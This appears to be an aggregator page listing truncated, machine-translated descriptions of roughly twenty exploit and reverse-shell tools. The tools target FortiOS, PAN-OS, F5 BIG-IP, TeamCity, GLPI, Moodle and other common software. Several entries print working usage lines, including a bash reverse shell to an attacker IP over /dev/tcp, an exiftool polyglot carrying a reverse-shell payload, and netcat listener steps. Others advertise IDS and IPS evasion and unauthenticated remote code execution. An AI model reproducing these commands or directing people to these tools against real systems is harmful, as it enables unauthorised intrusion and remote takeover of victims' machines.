ColdFusion_EXp

Herramienta de reverse shell para explotar CVE-2023-29298/CVE-2023-26360 Introducción El principio de la vulnerabilidad es que los datos que construimos en la solicitud del cliente CFML se guardan en coldfusion-out.log del servidor. Este directorio registra la información de errores de la...

CVE-2023-42793

CVE-2023-42793 2023.05.4 より前の JetBrains TeamCity は認証バイパスの脆弱性の影響を受け、RCE につながります。 使用方法 リバースシェルを取得するには root@kitploit: python3 exploit.py 参照 https://blog.jetbrains.com/teamcity/2023/09/cve-2023-42793-vulnerability-post-mortem/...

CVE-2023-28771-PoC

CVE-2023-28771-PoC PoC для CVE-2023-28771 на основе отличного описания от Rapid7 Требуется библиотека scapy для Python для отправки IKE-пакетов. root@kitploit: usage: CVE-2023-28771-poc.py -h --cmd CMD --lhost LHOST --lport LPORT rhost positional arguments: rhost options: -h, --help show this hel...

CVE-2018-14772

CVE-2018-14772 정보 이것은 제가 pydio 파일 공유 플랫폼에서 발견한 취약점인 CVE-2018-14772에 대한 PoC 원격 코드 실행 익스플로잇입니다. 실행하려면 pydio 애플리케이션 관리자 자격 증명이 필요합니다. 다음과 같이 익스플로잇을 실행할 수 있습니다: 사용법 root@kitploit: $ python exploit.py -h usage: exploit.py -h -t TARGET -u USERNAME -p PASSWORD -L LISTENERIP -P LISTENERPORT --payload...

Rejetto-HTTP-File-Server-HFS-2.3.x---Remote-Command-Execution

Rejetto HTTP File Server HFS 2.3.x - Exécution de commande à distance CVE-2014-6287 Réécriture de Pergyz 49584.py pour renvoyer un reverse shell PowerShell x64 Utilisation $ python3 hfs-2-3-exploit.py Fournir les variables lorsqu'elles sont demandées, démarre Netcat automatiquement pour vous...

CVE-2024-21762_FortiNet_PoC

CVE-2024-21762FortiNetPoC Scanner de preuve de concept ciblant CVE-2024-21762 dans le point de terminaison /remote/hostcheckvalidate du VPN SSL FortiOS avec livraison de reverse shell. Voici une fiche technique de style GitHub pour votre projet, incluant un résumé clair et concis, un guide...

CVE-2021-22205

CVE-2021-22205 Outil CVE-2021-22205 RCE, réservé uniquement au partage et à la communication. Ne pas l'utiliser pour des tests non autorisés, sous peine de dégager l'auteur de toute responsabilité. root@kitploit: -R string VPS pour charger des outils, ex : -R 127.0.0.1:8083 -T string Nom de...

MoodleExploit

Moodle 익스플로잇 익스플로잇 제목: Moodle v3.4.1 RCE 익스플로잇 Google Dork: inurl:"/course/jumpto.php?jump=" 날짜: 2019년 3월 15일 익스플로잇 작성자: Darryn Ten 공급업체 홈페이지: https://moodle.org 소프트웨어 링크: https://github.com/moodle/moodle/archive/v3.4.1.zip 버전: 3.4.1 아마도 3.5.0, 심지어 3.x일 수도 있음 테스트 환경: Linux with Moodle v3.4.1 CVE ...

CVE-2018-11770

CVE-2018-11770 Apache Spark: неаутентифицированное RCE с обратной оболочкой Автономный эксплойт RCE на Python 3 для Apache Spark, переписанный из этого модуля Metasploit POC эксплойта объяснен здесь. Код самого эксплойта объяснен здесь. Протестировано с Python 3.7 на этой цели. Использование:...

YAPS

YAPS - Y et A nother P HP S hell Yes, as the name reveals, this is yet another PHP reverse shell, one more among hundreds available out there, but with some advantages. It is a single PHP file containing all its functions and you can control it via a simple TCP listener e.g. nc -lp 1337. In the...

HTTP-revshell

Powershell HTTP/S Reverse Shell HTTP-revshell is a tool focused on redteam exercises and pentesters. This tool provides a reverse connection through the http/s protocol. It uses a covert channel to gain control over the victim machine through web requests and thus evade solutions such as IDS, IPS...

F5-BIG-IP-SmuggleShell-CVE-2023-46747-Exploit

F5 BIG-IP CVE-2023-46747 – Неавторизованное RCE + Обратная оболочка Версии Python3 и Nuclei – от raguraman Критическое неавторизованное RCE CVSS 9.8 через AJP + контрабанда HTTP-запросов Работает на всех необновленных BIG-IP 13.x → 17.x включая последний 17.1.0.3 Патч:...

LFiFreak

LFI Freak Features Works with Windows, Linux and OS X Includes bind and reverse shell for both Windows and Linux Written in Python 2.7 What is this all about? A unique tool for exploiting local file inclusions using PHP Input, PHP Filter and Data URI methods. Dependencies BeautifulSoup Disclaimer...

CVE-2024-3400

CVE-2024-3400 GlobalProtect CVE-2024-3400용 익스플로잇 이 익스플로잇은 원래 취약점을 대상으로 하므로, 방화벽은 취약한 PAN-OS 버전을 실행 중이어야 하며 텔레메트리가 활성화되어 있어야 합니다. 참조: https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/ 원격 커넥트백 셸을 통한 RCE 예시: 원격 호스트에서:...

overkill

Overkill Overkill — это эксплойт для исправленной уязвимости, затрагивающей QNAP QTS. Из-за того, как QNAP раскрывает уязвимости, я не уверен, есть ли у этой проблемы CVE или нет. Однако, скорее всего, она была исправлена в ноябре 2020 года и апреле 2021 года. N-day была "обнаружена" при анализе...

CVE-2025-49619

CVE-2025-49619 PoC Ce script exploite CVE-2025-49619 dans Skyvern pour exécuter une commande de shell inversé. Auteur Nom : Cristian Branet GitHub : cristibtz Utilisation 1. Démarrer un écouteur root@kitploit: nc -lvnp 2. Exécuter l'exploit root@kitploit: python3 exploit.py -u "http://:" -k "" -i...

CVE-2024-47533

root@kitploit: Reverse shell python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' Simple command python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' Drop SSH key python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd...

CVE-2023-24610

CVE-2023-24610 CVE-2023-24610에 대한 개념 증명PoC입니다. 먼저 exiftool을 사용하여 polyglot 파일을 생성합니다: exiftool -Comment="/dev/tcp/172.17.0.1/8888 " avatar.png -o polyglot.php 파일을 png로 변경하여 프론트엔드 검사를 통과하게 합니다. 그런 다음 포트 8888에서 nc 리스너를 시작하여 셸을 받습니다. 다음 단계는 애플리케이션에 로그인한 후 setup을 클릭하는 것입니다. 페이지 하단에 practice logo 영역이...

CVE-2025-24801

CVE-2025-24801 PoC для GLPI RCE Этот репозиторий содержит скрипт proof-of-concept poc.py, который эксплуатирует CVE-2025-24801 — уязвимость LFI-to-RCE в GLPI 10.0.17. Он автоматизирует: Вход в GLPI Включение загрузки .php путем обновления настроек типа документа Загрузку PHP reverse shell через...

CVE-2017-11610

CVE-2017-11610 Неаутентифицированная обратная оболочка RCE для Supervisor 3.0a1 - 3.3.2 Автономный эксплойт на Python ≥3.6 для неаутентифицированного удаленного выполнения кода в Supervisor 3.0a1 - 3.3.2, переписанный из этого модуля Metasploit. Пояснительная запись здесь. Протестировано с Python...